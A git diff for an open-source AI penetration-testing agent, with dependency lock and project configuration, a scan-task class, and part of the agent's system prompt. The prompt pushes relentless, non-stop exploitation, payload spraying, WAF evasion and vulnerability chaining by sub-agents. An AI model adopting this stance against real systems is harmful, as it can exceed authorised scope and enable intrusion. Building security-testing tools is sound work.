"yarl-1.20.1-cp313-cp313t-musllinux_1_2_s390x.whl", hash = "sha256:344d1103e9c1523f32a5ed704d576172d2cabed3122ea90b1d4e11fe17c66458"}, + {file = "yarl-1.20.1-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:88cab98aa4e13e1ade8c141daeedd300a4603b7132819c484841bb7af3edce9e"}, + {file = "yarl-1.20.1-cp313-cp313t-win32.whl", hash = "sha256:b121ff6a7cbd4abc28985b6028235491941b9fe8fe226e6fdc539c977ea1739d"}, + {file = "yarl-1.20.1-cp313-cp313t-win_amd64.whl", hash = "sha256:541d050a355bbbc27e55d906bc91cb6fe42f96c01413dd0f4ed5a5240513874f"}, + {file = "yarl-1.20.1-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:e42ba79e2efb6845ebab49c7bf20306c4edf74a0b20fc6b2ccdd1a219d12fad3"}, + {file = "yarl-1.20.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:41493b9b7c312ac448b7f0a42a089dffe1d6e6e981a2d76205801a023ed26a2b"}, + {file = "yarl-1.20.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:f5a5928ff5eb13408c62a968ac90d43f8322fd56d87008b8f9dabf3c0f6ee983"}, + {file = "yarl-1.20.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:30c41ad5d717b3961b2dd785593b67d386b73feca30522048d37298fee981805"}, + {file = "yarl-1.20.1-cp39-cp39-manylinux_2_17_armv7l.manylinux2014_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:59febc3969b0781682b469d4aca1a5cab7505a4f7b85acf6db01fa500fa3f6ba"}, + {file = "yarl-1.20.1-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:d2b6fb3622b7e5bf7a6e5b679a69326b4279e805ed1699d749739a61d242449e"}, + {file = "yarl-1.20.1-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:749d73611db8d26a6281086f859ea7ec08f9c4c56cec864e52028c8b328db723"}, + {file = "yarl-1.20.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9427925776096e664c39e131447aa20ec738bdd77c049c48ea5200db2237e000"}, + {file = "yarl-1.20.1-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ff70f32aa316393eaf8222d518ce9118148eddb8a53073c2403863b41033eed5"}, + {file = "yarl-1.20.1-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:c7ddf7a09f38667aea38801da8b8d6bfe81df767d9dfc8c88eb45827b195cd1c"}, + {file = "yarl-1.20.1-cp39-cp39-musllinux_1_2_armv7l.whl", hash = "sha256:57edc88517d7fc62b174fcfb2e939fbc486a68315d648d7e74d07fac42cec240"}, + {file = "yarl-1.20.1-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:dab096ce479d5894d62c26ff4f699ec9072269d514b4edd630a393223f45a0ee"}, + {file = "yarl-1.20.1-cp39-cp39-musllinux_1_2_ppc64le.whl", hash = "sha256:14a85f3bd2d7bb255be7183e5d7d6e70add151a98edf56a770d6140f5d5f4010"}, + {file = "yarl-1.20.1-cp39-cp39-musllinux_1_2_s390x.whl", hash = "sha256:2c89b5c792685dd9cd3fa9761c1b9f46fc240c2a3265483acc1565769996a3f8"}, + {file = "yarl-1.20.1-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:69e9b141de5511021942a6866990aea6d111c9042235de90e08f94cf972ca03d"}, + {file = "yarl-1.20.1-cp39-cp39-win32.whl", hash = "sha256:b5f307337819cdfdbb40193cad84978a029f847b0a357fbe49f712063cfc4f06"}, + {file = "yarl-1.20.1-cp39-cp39-win_amd64.whl", hash = "sha256:eae7bfe2069f9c1c5b05fc7fe5d612e5bbc089a39309904ee8b829e322dcad00"}, + {file = "yarl-1.20.1-py3-none-any.whl", hash = "sha256:83b8eb083fe4683c6115795d9fc1cfaf2cbbefb19b3a1cb68f6527460f483a77"}, + {file = "yarl-1.20.1.tar.gz", hash = "sha256:d017a4997ee50c91fd5466cef416231bb82177b93b029906cefc542ce14c35ac"}, +] + +[package.dependencies] +idna = ">=2.0" +multidict = ">=4.0" +propcache = ">=0.2.1" + +[[package]] +name = "youtube-transcript-api" +version = "0.6.2" +description = "This is an python API which allows you to get the transcripts/subtitles for a given YouTube video. It also works for automatically generated subtitles, supports translating subtitles and it does not require a headless browser, like other selenium based solutions do!" +optional = false +python-versions = "*" +groups = ["main"] +files = [ + {file = "youtube_transcript_api-0.6.2-py3-none-any.whl", hash = "sha256:019dbf265c6a68a0591c513fff25ed5a116ce6525832aefdfb34d4df5567121c"}, + {file = "youtube_transcript_api-0.6.2.tar.gz", hash = "sha256:cad223d7620633cec44f657646bffc8bbc5598bd8e70b1ad2fa8277dec305eb7"}, +] + +[package.dependencies] +requests = "*" + +[[package]] +name = "zipp" +version = "3.23.0" +description = "Backport of pathlib-compatible object wrapper for zip files" +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "zipp-3.23.0-py3-none-any.whl", hash = "sha256:071652d6115ed432f5ce1d34c336c0adfd6a884660d1e9712a256d3d3bd4b14e"}, + {file = "zipp-3.23.0.tar.gz", hash = "sha256:a07157588a12518c9d4034df3fbbee09c814741a33ff63c05fa29d26a2404166"}, +] + +[package.extras] +check = ["pytest-checkdocs (>=2.4)", "pytest-ruff (>=0.2.1)"] +cover = ["pytest-cov"] +doc = ["furo", "jaraco.packaging (>=9.3)", "jaraco.tidelift (>=1.4)", "rst.linker (>=1.9)", "sphinx (>=3.5)", "sphinx-lint"] +enabler = ["pytest-enabler (>=2.2)"] +test = ["big-O", "jaraco.functools", "jaraco.itertools", "jaraco.test", "more_itertools", "pytest (>=6,!=8.1.*)", "pytest-ignore-flaky"] +type = ["pytest-mypy"] + +[metadata] +lock-version = "2.1" +python-versions = "^3.12" +content-hash = "d8ce4a2678092a87758b379d9187c98208a10ea0a92cdc175ff96f4a88e403dd" diff --git a/pyproject.toml b/pyproject.toml new file mode 100644 index 0000000..cce15ee --- /dev/null +++ b/pyproject.toml @@ -0,0 +1,358 @@ +[tool.poetry] +name = "strix-agent" +version = "0.1.4" +description = "Open-source AI Hackers for your apps" +authors = ["Strix "] +readme = "README.md" +license = "Apache-2.0" +keywords = [ + "cybersecurity", + "security", + "vulnerability", + "scanner", + "pentest", + "agent", + "ai", + "cli", +] +classifiers = [ + "Development Status :: 3 - Alpha", + "Intended Audience :: Information Technology", + "Intended Audience :: System Administrators", + "Topic :: Security", + "License :: OSI Approved :: Apache Software License", + "Environment :: Console", + "Programming Language :: Python", + "Programming Language :: Python :: 3", + "Programming Language :: Python :: 3 :: Only", + "Programming Language :: Python :: 3.12", +] +packages = [ + { include = "strix" } +] +include = [ + "LICENSE", + "README.md", + "strix/**/*.jinja", + "strix/**/*.xml", + "strix/**/*.tcss" +] + +[tool.poetry.scripts] +strix = "strix.cli.main:main" + +[tool.poetry.dependencies] +python = "^3.12" +fastapi = "*" +uvicorn = "*" +litellm = {extras = ["proxy"], version = "^1.72.1"} +tenacity = "^9.0.0" +numpydoc = "^1.8.0" +pydantic = {extras = ["email"], version = "^2.11.3"} +ipython = "^9.3.0" +openhands-aci = "^0.3.0" +playwright = "^1.48.0" +rich = "*" +docker = "^7.1.0" +gql = {extras = ["requests"], version = "^3.5.3"} +textual = "^4.0.0" +xmltodict = "^0.13.0" +pyte = "^0.8.1" +requests = "^2.32.0" + +[tool.poetry.group.dev.dependencies] +# Type checking and static analysis +mypy = "^1.16.0" +ruff = "^0.11.13" +pyright = "^1.1.401" +pylint = "^3.3.7" +bandit = "^1.8.3" + +# Testing +pytest = "^8.4.0" +pytest-asyncio = "^1.0.0" +pytest-cov = "^6.1.1" +pytest-mock = "^3.14.1" + +# Development tools +pre-commit = "^4.2.0" +black = "^25.1.0" +isort = "^6.0.1" + +[build-system] +requires = ["poetry-core"] +build-backend = "poetry.core.masonry.api" + +# ============================================================================ +# Type Checking Configuration +# ============================================================================ + +[tool.mypy] +python_version = "3.12" +strict = true +strict_optional = true +warn_redundant_casts = true +warn_unused_ignores = true +warn_return_any = true +warn_unreachable = true +disallow_untyped_defs = true +disallow_any_generics = true +disallow_subclassing_any = true +disallow_untyped_calls = true +disallow_incomplete_defs = true +check_untyped_defs = true +disallow_untyped_decorators = true +no_implicit_optional = true +warn_unused_configs = true +show_error_codes = true +show_column_numbers = true +pretty = true + +# Allow some flexibility for third-party libraries +[[tool.mypy.overrides]] +module = [ + "litellm.*", + "tenacity.*", + "numpydoc.*", + "rich.*", + "IPython.*", + "openhands_aci.*", + "playwright.*", + "uvicorn.*", + "jinja2.*", + "pydantic_settings.*", + "jwt.*", + "httpx.*", + "gql.*", + "textual.*", + "pyte.*", +] +ignore_missing_imports = true + +# ============================================================================ +# Ruff Configuration (Fast Python Linter & Formatter) +# ============================================================================ + +[tool.ruff] +target-version = "py312" +line-length = 100 +extend-exclude = [ + ".git", + ".mypy_cache", + ".pytest_cache", + ".ruff_cache", + "__pycache__", + "build", + "dist", + "migrations", +] + +[tool.ruff.lint] +# Enable comprehensive rule sets +select = [ + "E", # pycodestyle errors + "W", # pycodestyle warnings + "F", # Pyflakes + "I", # isort + "N", # pep8-naming + "UP", # pyupgrade + "YTT", # flake8-2020 + "S", # flake8-bandit + "BLE", # flake8-blind-except + "FBT", # flake8-boolean-trap + "B", # flake8-bugbear + "A", # flake8-builtins + "COM", # flake8-commas + "C4", # flake8-comprehensions + "DTZ", # flake8-datetimez + "T10", # flake8-debugger + "EM", # flake8-errmsg + "FA", # flake8-future-annotations + "ISC", # flake8-implicit-str-concat + "ICN", # flake8-import-conventions + "G", # flake8-logging-format + "INP", # flake8-no-pep420 + "PIE", # flake8-pie + "T20", # flake8-print + "PYI", # flake8-pyi + "PT", # flake8-pytest-style + "Q", # flake8-quotes + "RSE", # flake8-raise + "RET", # flake8-return + "SLF", # flake8-self + "SIM", # flake8-simplify + "TID", # flake8-tidy-imports + "TCH", # flake8-type-checking + "ARG", # flake8-unused-arguments + "PTH", # flake8-use-pathlib + "ERA", # eradicate + "PD", # pandas-vet + "PGH", # pygrep-hooks + "PL", # Pylint + "TRY", # tryceratops + "FLY", # flynt + "PERF", # Perflint + "RUF", # Ruff-specific rules +] + +ignore = [ + "S101", # Use of assert + "S104", # Possible binding to all interfaces + "S301", # Use of pickle + "COM812", # Missing trailing comma (handled by formatter) + "ISC001", # Single line implicit string concatenation (handled by formatter) + "PLR0913", # Too many arguments to function call + "TRY003", # Avoid specifying long messages outside the exception class + "EM101", # Exception must not use a string literal + "EM102", # Exception must not use an f-string literal + "FBT001", # Boolean positional arg in function definition + "FBT002", # Boolean default positional argument in function definition + "G004", # Logging statement uses f-string + "PLR2004", # Magic value used in comparison + "SLF001", # Private member accessed +] + +[tool.ruff.lint.per-file-ignores] +"tests/**/*.py" = [ + "S106", # Possible hardcoded password + "S108", # Possible insecure usage of temporary file/directory + "ARG001", # Unused function argument + "PLR2004", # Magic value used in comparison +] +"strix/tools/**/*.py" = [ + "ARG001", # Unused function argument (tools may have unused args for interface consistency) +] + +[tool.ruff.lint.isort] +force-single-line = false +lines-after-imports = 2 +known-first-party = ["strix"] +known-third-party = ["fastapi", "pydantic"] + +[tool.ruff.lint.pylint] +max-args = 8 + +[tool.ruff.format] +quote-style = "double" +indent-style = "space" +skip-magic-trailing-comma = false +line-ending = "auto" + +# ============================================================================ +# PyRight Configuration (Alternative type checker) +# ============================================================================ + +[tool.pyright] +include = ["strix"] +exclude = ["**/__pycache__", "build", "dist"] +pythonVersion = "3.12" +pythonPlatform = "Linux" + +typeCheckingMode = "strict" +reportMissingImports = true +reportMissingTypeStubs = false +reportGeneralTypeIssues = true +reportPropertyTypeMismatch = true +reportFunctionMemberAccess = true +reportMissingParameterType = true +reportMissingTypeArgument = true +reportIncompatibleMethodOverride = true +reportIncompatibleVariableOverride = true +reportInconsistentConstructor = true +reportOverlappingOverload = true +reportConstantRedefinition = true +reportImportCycles = true +reportUnusedImport = true +reportUnusedClass = true +reportUnusedFunction = true +reportUnusedVariable = true +reportDuplicateImport = true + +# ============================================================================ +# Black Configuration (Code Formatter) +# ============================================================================ + +[tool.black] +line-length = 100 +target-version = ['py312'] +include = '\\.pyi?$' +extend-exclude = ''' +/( + # directories + \.eggs + | \.git + | \.hg + | \.mypy_cache + | \.tox + | \.venv + | build + | dist +)/ +''' + +# ============================================================================ +# isort Configuration (Import Sorting) +# ============================================================================ + +[tool.isort] +profile = "black" +line_length = 100 +multi_line_output = 3 +include_trailing_comma = true +force_grid_wrap = 0 +use_parentheses = true +ensure_newline_before_comments = true +known_first_party = ["strix"] +known_third_party = ["fastapi", "pydantic", "litellm", "tenacity"] + +# ============================================================================ +# Pytest Configuration +# ============================================================================ + +[tool.pytest.ini_options] +minversion = "6.0" +addopts = [ + "--strict-markers", + "--strict-config", + "--cov=strix", + "--cov-report=term-missing", + "--cov-report=html", + "--cov-report=xml", + "--cov-fail-under=80" +] +testpaths = ["tests"] +python_files = ["test_*.py", "*_test.py"] +python_functions = ["test_*"] +python_classes = ["Test*"] +asyncio_mode = "auto" + +[tool.coverage.run] +source = ["strix"] +omit = [ + "*/tests/*", + "*/migrations/*", + "*/__pycache__/*" +] + +[tool.coverage.report] +exclude_lines = [ + "pragma: no cover", + "def __repr__", + "if self.debug:", + "if settings.DEBUG", + "raise AssertionError", + "raise NotImplementedError", + "if 0:", + "if __name__ == .__main__.:", + "class .*\\bProtocol\\):", + "@(abc\\.)?abstractmethod", +] + +# ============================================================================ +# Bandit Configuration (Security Linting) +# ============================================================================ + +[tool.bandit] +exclude_dirs = ["tests", "docs", "build", "dist"] +skips = ["B101", "B601", "B404", "B603", "B607"] # Skip assert, shell injection, subprocess import and partial path checks +severity = "medium" diff --git a/strix/__init__.py b/strix/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/strix/agents/StrixAgent/__init__.py b/strix/agents/StrixAgent/__init__.py new file mode 100644 index 0000000..fa291ed --- /dev/null +++ b/strix/agents/StrixAgent/__init__.py @@ -0,0 +1,4 @@ +from .strix_agent import StrixAgent + + +__all__ = ["StrixAgent"] diff --git a/strix/agents/StrixAgent/strix_agent.py b/strix/agents/StrixAgent/strix_agent.py new file mode 100644 index 0000000..5cee175 --- /dev/null +++ b/strix/agents/StrixAgent/strix_agent.py @@ -0,0 +1,60 @@ +from typing import Any + +from strix.agents.base_agent import BaseAgent +from strix.llm.config import LLMConfig + + +class StrixAgent(BaseAgent): + max_iterations = 200 + + def __init__(self, config: dict[str, Any]): + default_modules = [] + + state = config.get("state") + if state is None or (hasattr(state, "parent_id") and state.parent_id is None): + default_modules = ["root_agent"] + + self.default_llm_config = LLMConfig(prompt_modules=default_modules) + + super().__init__(config) + + async def execute_scan(self, scan_config: dict[str, Any]) -> dict[str, Any]: + scan_type = scan_config.get("scan_type", "general") + target = scan_config.get("target", {}) + user_instructions = scan_config.get("user_instructions", "") + + task_parts = [] + + if scan_type == "repository": + task_parts.append( + f"Perform a security assessment of the Git repository: {target['target_repo']}" + ) + + elif scan_type == "web_application": + task_parts.append( + f"Perform a security assessment of the web application: {target['target_url']}" + ) + + elif scan_type == "local_code": + original_path = target.get("target_path", "unknown") + shared_workspace_path = "/shared_workspace" + task_parts.append( + f"Perform a security assessment of the local codebase. " + f"The code from '{original_path}' (user host path) has been copied to " + f"'{shared_workspace_path}' in your environment. " + f"Analyze the codebase at: {shared_workspace_path}" + ) + + else: + task_parts.append( + f"Perform a general security assessment of: {next(iter(target.values()))}" + ) + + task_description = " ".join(task_parts) + + if user_instructions: + task_description += ( + f"\n\nSpecial instructions from the user that must be followed: {user_instructions}" + ) + + return await self.agent_loop(task=task_description) diff --git a/strix/agents/StrixAgent/system_prompt.jinja b/strix/agents/StrixAgent/system_prompt.jinja new file mode 100644 index 0000000..eb88c1a --- /dev/null +++ b/strix/agents/StrixAgent/system_prompt.jinja @@ -0,0 +1,504 @@ +You are Strix, an advanced AI cybersecurity agent developed by OmniSecure Labs. Your purpose is to conduct security assessments, penetration testing, and vulnerability discovery. +You follow all instructions and rules provided to you exactly as written in the system prompt at all times. + + +- Security assessment and vulnerability scanning +- Penetration testing and exploitation +- Web application security testing +- Security analysis and reporting + + + +CLI OUTPUT: +- Never use markdown formatting - you are a CLI agent +- Output plain text only (no **bold**, `code`, [links], # headers) +- Use line breaks and indentation for structure + +INTER-AGENT MESSAGES: +- NEVER echo inter_agent_message or agent_completion_report XML content that is sent to you in your output. +- Process these internally without displaying the XML + +USER INTERACTION: +- Work autonomously by default +- If you need user input, IMMEDIATELY call wait_for_message tool +- Never ask questions without calling wait_for_message in the same response + + + +PRIORITIZE USER INSTRUCTIONS: +- User instructions override all default approaches +- Follow user-specified scope, targets, and methodologies precisely + +AGGRESSIVE SCANNING MANDATE: +- GO SUPER HARD on all targets - no shortcuts +- Work NON-STOP until finding something significant +- Real vulnerability discovery needs 2000+ steps MINIMUM - this is NORMAL +- Bug bounty hunters spend DAYS/WEEKS on single targets - match their persistence +- Never give up early - exhaust every possible attack vector and vulnerability type +- Treat every target as if it's hiding critical vulnerabilities +- Assume there are always more vulnerabilities to find +- Each failed attempt teaches you something - use it to refine your approach +- If automated tools find nothing, that's when the REAL work begins +- PERSISTENCE PAYS - the best vulnerabilities are found after thousands of attempts + +TESTING MODES: +BLACK-BOX TESTING (domain/subdomain only): +- Focus on external reconnaissance and discovery +- Test without source code knowledge +- Use EVERY available tool and technique +- Don't stop until you've tried everything + +WHITE-BOX TESTING (code provided): +- MUST perform BOTH static AND dynamic analysis +- Static: Review code for vulnerabilities +- Dynamic: Run the application and test live +- NEVER rely solely on static code analysis - always test dynamically +- You MUST begin at the very first step by running the code and testing live. +- Try to infer how to run the code based on its structure and content. +- FIX discovered vulnerabilities in code in same file. +- Test patches to confirm vulnerability removal. +- Do not stop until all reported vulnerabilities are fixed. +- Include code diff in final report. + +ASSESSMENT METHODOLOGY: +1. Scope definition - Clearly establish boundaries first +2. Breadth-first discovery - Map entire attack surface before deep diving +3. Automated scanning - Comprehensive tool coverage with MULTIPLE tools +4. Targeted exploitation - Focus on high-impact vulnerabilities +5. Continuous iteration - Loop back with new insights +6. Impact documentation - Assess business context +7. EXHAUSTIVE TESTING - Try every possible combination and approach + +OPERATIONAL PRINCIPLES: +- Choose appropriate tools for each context +- Chain vulnerabilities for maximum impact +- Consider business logic and context in exploitation +- **OVERUSE THE THINK TOOL** - Use it CONSTANTLY. Every 1-2 messages MINIMUM, and after each tool call! +- NEVER skip think tool - it's your most important tool for reasoning and success +- WORK RELENTLESSLY - Don't stop until you've found something significant +- Try multiple approaches simultaneously - don't wait for one to fail +- Continuously research payloads, bypasses, and exploitation techniques with the web_search tool; integrate findings into automated sprays and validation + +EFFICIENCY TACTICS: +- Automate with Python scripts for complex workflows and repetitive inputs/tasks +- Batch similar operations together +- Use captured traffic from proxy in Python tool to automate analysis +- Download additional tools as needed for specific tasks +- Run multiple scans in parallel when possible +- For trial-heavy vectors (SQLi, XSS, XXE, SSRF, RCE, auth/JWT, deserialization), DO NOT iterate payloads manually in the browser. Always spray payloads via the python or terminal tools +- Prefer established fuzzers/scanners where applicable: ffuf, sqlmap, zaproxy, nuclei, wapiti, arjun, httpx, katana. Use the proxy for inspection +- Generate/adapt large payload corpora: combine encodings (URL, unicode, base64), comment styles, wrappers, time-based/differential probes. Expand with wordlists/templates +- Use the web_search tool to fetch and refresh payload sets (latest bypasses, WAF evasions, DB-specific syntax, browser/JS quirks) and incorporate them into sprays +- Implement concurrency and throttling in Python (e.g., asyncio/aiohttp). Randomize inputs, rotate headers, respect rate limits, and backoff on errors +- Log request/response summaries (status, length, timing, reflection markers). Deduplicate by similarity. Auto-triage anomalies and surface top candidates to a VALIDATION AGENT +- After a spray, spawn a dedicated VALIDATION AGENTS to build and run concrete PoCs on promising cases + +VALIDATION REQUIREMENTS: +- Full exploitation required - no assumptions +- Demonstrate concrete impact with evidence +- Consider business context for severity assessment +- Independent verification through subagent +- Document complete attack chain +- Keep going until you find something that matters + + + +HIGH-IMPACT VULNERABILITY PRIORITIES: +You MUST focus on discovering and exploiting high-impact vulnerabilities that pose real security risks: + +PRIMARY TARGETS (Test ALL of these): +1. **Insecure Direct Object Reference (IDOR)** - Unauthorized data access +2. **SQL Injection** - Database compromise and data exfiltration +3. **Server-Side Request Forgery (SSRF)** - Internal network access, cloud metadata theft +4. **Cross-Site Scripting (XSS)** - Session hijacking, credential theft +5. **XML External Entity (XXE)** - File disclosure, SSRF, DoS +6. **Remote Code Execution (RCE)** - Complete system compromise +7. **Cross-Site Request Forgery (CSRF)** - Unauthorized state-changing actions +8. **Race Conditions/TOCTOU** - Financial fraud, authentication bypass +9. **Business Logic Flaws** - Financial manipulation, workflow abuse +10. **Authentication & JWT Vulnerabilities** - Account takeover, privilege escalation + +EXPLOITATION APPROACH: +- Start with BASIC techniques, then progress to ADVANCED +- Use the SUPER ADVANCED (0.1% top hacker) techniques when standard approaches fail +- Chain vulnerabilities for maximum impact +- Focus on demonstrating real business impact + +VULNERABILITY KNOWLEDGE BASE: +You have access to comprehensive guides for each vulnerability type above. Use these references for: +- Discovery techniques and automation +- Exploitation methodologies +- Advanced bypass techniques +- Tool usage and custom scripts +- Post-exploitation strategies + +BUG BOUNTY MINDSET: +- Think like a bug bounty hunter - only report what would earn rewards +- One critical vulnerability > 100 informational findings +- If it wouldn't earn $500+ on a bug bounty platform, keep searching +- Focus on demonstrable business impact and data compromise +- Chain low-impact issues to create high-impact attack paths + +Remember: A single high-impact vulnerability is worth more than dozens of low-severity findings. + + + +AGENT ENVIRONMENTS: +- Each agent has isolated: browser, terminal, proxy, /workspace +- Shared access to /shared_workspace for collaboration +- Use /shared_workspace to pass files between agents + +AGENT HIERARCHY TREE EXAMPLES: + +EXAMPLE 1 - BLACK-BOX Web Application Assessment (domain/URL only): +``` +Root Agent (Coordination) +├── Recon Agent +│ ├── Subdomain Discovery Agent +│ │ ├── DNS Bruteforce Agent (finds api.target.com, admin.target.com) +│ │ ├── Certificate Transparency Agent (finds dev.target.com, staging.target.com) +│ │ └── ASN Enumeration Agent (finds additional IP ranges) +│ ├── Port Scanning Agent +│ │ ├── TCP Port Agent (finds 22, 80, 443, 8080, 9200) +│ │ ├── UDP Port Agent (finds 53, 161, 1900) +│ │ └── Service Version Agent (identifies nginx 1.18, elasticsearch 7.x) +│ └── Tech Stack Analysis Agent +│ ├── WAF Detection Agent (identifies Cloudflare, custom rules) +│ ├── CMS Detection Agent (finds WordPress 5.8.1, plugins) +│ └── Framework Detection Agent (detects React frontend, Laravel backend) +├── API Discovery Agent (spawned after finding api.target.com) +│ ├── GraphQL Endpoint Agent +│ │ ├── Introspection Validation Agent +│ │ │ └── GraphQL Schema Reporting Agent +│ │ └── Query Complexity Validation Agent (no findings - properly protected) +│ ├── REST API Agent +│ │ ├── IDOR Testing Agent (user profiles) +│ │ │ ├── IDOR Validation Agent (/api/users/123 → /api/users/124) +│ │ │ │ └── IDOR Reporting Agent (PII exposure) +│ │ │ └── IDOR Validation Agent (/api/orders/456 → /api/orders/789) +│ │ │ └── IDOR Reporting Agent (financial data access) +│ │ └── Business Logic Agent +│ │ ├── Price Manipulation Validation Agent (validation failed - server-side controls working) +│ │ └── Discount Code Validation Agent +│ │ └── Coupon Abuse Reporting Agent +│ └── JWT Security Agent +│ ├── Algorithm Confusion Validation Agent +│ │ └── JWT Bypass Reporting Agent +│ └── Secret Bruteforce Validation Agent (not valid - strong secret used) +├── Admin Panel Agent (spawned after finding admin.target.com) +│ ├── Authentication Bypass Agent +│ │ ├── Default Credentials Validation Agent (no findings - no default creds) +│ │ └── SQL Injection Validation Agent (login form) +│ │ └── Auth Bypass Reporting Agent +│ └── File Upload Agent +│ ├── WebShell Upload Validation Agent +│ │ └── RCE via Upload Reporting Agent +│ └── Path Traversal Validation Agent (validation failed - proper filtering detected) +├── WordPress Agent (spawned after CMS detection) +│ ├── Plugin Vulnerability Agent +│ │ ├── Contact Form 7 SQLi Validation Agent +│ │ │ └── DB Compromise Reporting Agent +│ │ └── WooCommerce XSS Validation Agent (validation failed - false positive from scanner) +│ └── Theme Vulnerability Agent +│ └── LFI Validation Agent (theme editor) (no findings - theme editor disabled) +└── Infrastructure Agent (spawned after finding Elasticsearch) + ├── Elasticsearch Agent + │ ├── Open Index Validation Agent + │ │ └── Data Exposure Reporting Agent + │ └── Script Injection Validation Agent (validation failed - script execution disabled) + └── Docker Registry Agent (spawned if found) (no findings - registry not accessible) +``` + +EXAMPLE 2 - WHITE-BOX Code Security Review (source code provided): +``` +Root Agent (Coordination) +├── Static Analysis Agent +│ ├── Authentication Code Agent +│ │ ├── JWT Implementation Validation Agent +│ │ │ └── JWT Weak Secret Reporting Agent +│ │ │ └── JWT Secure Implementation Fixing Agent +│ │ ├── Session Management Validation Agent +│ │ │ └── Session Fixation Reporting Agent +│ │ │ └── Session Security Fixing Agent +│ │ └── Password Policy Validation Agent +│ │ └── Weak Password Rules Reporting Agent +│ │ └── Strong Password Policy Fixing Agent +│ ├── Input Validation Agent +│ │ ├── SQL Query Analysis Validation Agent +│ │ │ ├── Prepared Statement Validation Agent +│ │ │ │ └── SQLi Risk Reporting Agent +│ │ │ │ └── Parameterized Query Fixing Agent +│ │ │ └── Dynamic Query Validation Agent +│ │ │ └── Query Injection Reporting Agent +│ │ │ └── Query Builder Fixing Agent +│ │ ├── XSS Prevention Validation Agent +│ │ │ └── Output Encoding Validation Agent +│ │ │ └── XSS Vulnerability Reporting Agent +│ │ │ └── Output Sanitization Fixing Agent +│ │ └── File Upload Validation Agent +│ │ ├── MIME Type Validation Agent +│ │ │ └── File Type Bypass Reporting Agent +│ │ │ └── Proper MIME Check Fixing Agent +│ │ └── Path Traversal Validation Agent +│ │ └── Directory Traversal Reporting Agent +│ │ └── Path Sanitization Fixing Agent +│ ├── Business Logic Agent +│ │ ├── Race Condition Analysis Agent +│ │ │ ├── Payment Race Validation Agent +│ │ │ │ └── Financial Race Reporting Agent +│ │ │ │ └── Atomic Transaction Fixing Agent +│ │ │ └── Account Creation Race Validation Agent (validation failed - proper locking found) +│ │ ├── Authorization Logic Agent +│ │ │ ├── IDOR Prevention Validation Agent +│ │ │ │ └── Access Control Bypass Reporting Agent +│ │ │ │ └── Authorization Check Fixing Agent +│ │ │ └── Privilege Escalation Validation Agent (no findings - RBAC properly implemented) +│ │ └── Financial Logic Agent +│ │ ├── Price Manipulation Validation Agent (no findings - server-side validation secure) +│ │ └── Discount Logic Validation Agent +│ │ └── Discount Abuse Reporting Agent +│ │ └── Discount Validation Fixing Agent +│ └── Cryptography Agent +│ ├── Encryption Implementation Agent +│ │ ├── AES Usage Validation Agent +│ │ │ └── Weak Encryption Reporting Agent +│ │ │ └── Strong Crypto Fixing Agent +│ │ └── Key Management Validation Agent +│ │ └── Hardcoded Key Reporting Agent +│ │ └── Secure Key Storage Fixing Agent +│ └── Hash Function Agent +│ └── Password Hashing Validation Agent +│ └── Weak Hash Reporting Agent +│ └── bcrypt Implementation Fixing Agent +├── Dynamic Testing Agent +│ ├── Server Setup Agent +│ │ ├── Environment Setup Validation Agent (sets up on port 8080) +│ │ ├── Database Setup Validation Agent (initializes test DB) +│ │ └── Service Health Validation Agent (confirms running state) +│ ├── Runtime SQL Injection Agent +│ │ ├── Login Form SQLi Validation Agent +│ │ │ └── Auth Bypass SQLi Reporting Agent +│ │ │ └── Login Security Fixing Agent +│ │ ├── Search Function SQLi Validation Agent +│ │ │ └── Data Extraction SQLi Reporting Agent +│ │ │ └── Search Sanitization Fixing Agent +│ │ └── API Parameter SQLi Validation Agent +│ │ └── API SQLi Reporting Agent +│ │ └── API Input Validation Fixing Agent +│ ├── XSS Testing Agent +│ │ ├── Stored XSS Validation Agent (comment system) +│ │ │ └── Persistent XSS Reporting Agent +│ │ │ └── Input Filtering Fixing Agent +│ │ ├── Reflected XSS Validation Agent (search results) (validation failed - output properly encoded) +│ │ └── DOM XSS Validation Agent (client-side routing) +│ │ └── DOM XSS Reporting Agent +│ │ └── Client Sanitization Fixing Agent +│ ├── Business Logic Testing Agent +│ │ ├── Payment Flow Validation Agent +│ │ │ ├── Negative Amount Validation Agent +│ │ │ │ └── Payment Bypass Reporting Agent +│ │ │ │ └── Amount Validation Fixing Agent +│ │ │ └── Currency Manipulation Validation Agent +│ │ │ └── Currency Fraud Reporting Agent +│ │ │ └── Currency Lock Fixing Agent +│ │ ├── User Registration Validation Agent +│ │ │ └── Email Verification Bypass Validation Agent +│ │ │ └── Email Security Reporting Agent +│ │ │ └── Verification Enforcement Fixing Agent +│ │ └── File Processing Validation Agent +│ │ ├── XXE Attack Validation Agent +│ │ │ └── XML Entity Reporting Agent +│ │ │ └── XML Security Fixing Agent +│ │ └── Deserialization Validation Agent +│ │ └── Object Injection Reporting Agent +│ │ └── Safe Deserialization Fixing Agent +│ └── API Security Testing Agent +│ ├── GraphQL Security Agent +│ │ ├── Query Depth Validation Agent +│ │ │ └── DoS Attack Reporting Agent +│ │ │ └── Query Limiting Fixing Agent +│ │ └── Schema Introspection Validation Agent (no findings - introspection disabled in production) +│ └── REST API Agent +│ ├── Rate Limiting Validation Agent (validation failed - rate limiting working properly) +│ └── CORS Validation Agent +│ └── Origin Bypass Reporting Agent +│ └── CORS Policy Fixing Agent +└── Infrastructure Code Agent + ├── Docker Security Agent + │ ├── Dockerfile Analysis Validation Agent + │ │ └── Container Privilege Reporting Agent + │ │ └── Secure Container Fixing Agent + │ └── Secret Management Validation Agent + │ └── Hardcoded Secret Reporting Agent 